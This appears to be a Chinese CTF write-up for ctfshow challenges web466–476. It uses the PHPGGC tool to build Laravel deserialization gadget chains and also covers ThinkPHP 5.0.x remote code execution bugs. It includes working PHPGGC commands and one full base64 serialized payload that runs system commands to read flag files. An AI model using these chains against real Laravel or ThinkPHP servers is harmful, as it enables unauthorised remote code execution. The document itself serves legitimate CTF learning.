ctfshow 框架复现 工具版

工具

首先下载工具PHPGGC
GitHub地址

./phpggc -l

在这里插入图片描述

web466

Laravel5.4

是这个版本的漏洞那么我们去看看那个poc链是这个版本的

Laravel/RCE2可以

命令

./phpggc -i Laravel/RCE2 

在这里插入图片描述
题目提示要base64编码提交

./phpggc Laravel/RCE2 system 'ls /'|base64

成功RCE
在这里插入图片描述

https://31a97292-2e35-4d95-b771-dcdd6939a2f8.challenge.ctf.show/admin/Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAq
AGxpc3RlbmVycyI7YToxOntzOjc6InRhYyAvZioiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1z
Ojg6IgAqAGV2ZW50IjtzOjc6InRhYyAvZioiO30K

web467

Laravel5.5

命令

./phpggc Laravel/RCE3 system 'ls /'|base64
打不通,难道版本不对?哦也对,他没说后续版本
./phpggc -i Laravel/RCE3

在这里插入图片描述
这条链子会触发异常类也就是说会影响直接的代码执行,RCE2的版本肯定行
但是我偏要用RCE3

./phpggc Laravel/RCE3 system 'tac /f*> 1.txt'|base64

在这里插入图片描述
干这里来了?

web468

Laravel5.5版本

命令

./phpggc Laravel/RCE3 system 'tac /f*> 1.txt'|base64

在这里插入图片描述

web469

Laravel5.5版本

命令

./phpggc Laravel/RCE4 system 'tac /f*> 1.txt'|base64

在这里插入图片描述
在这里插入图片描述

web470

Laravel5.5版本

./phpggc Laravel/RCE9 system 'tac /f*> 1.txt'|base64

web471

Laravel5.8版本

其实可以用的链子有很多

./phpggc Laravel/RCE13 system 'tac /f*> 1.txt'|base64

web472

Laravel8.1版本

./phpggc Laravel/RCE15 system 'tac /f*> 1.txt'|base64

web473

thinkphp5.0.15

在这里插入图片描述
扫描发现good
在这里插入图片描述
利用工具,这个工具我也是和师傅们要到的,非常感谢那位师傅
在这里插入图片描述

web474

thinkphp5.0.5

在这里插入图片描述
payload可能错了
在这里插入图片描述
在这里插入图片描述
无回显
在这里插入图片描述

web475

thinkphp 5.0.0-5.0.23 rce

在这里插入图片描述

web476

thinkphp 5.0.0-5.0.23 rce

在这里插入图片描述
在这里插入图片描述

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值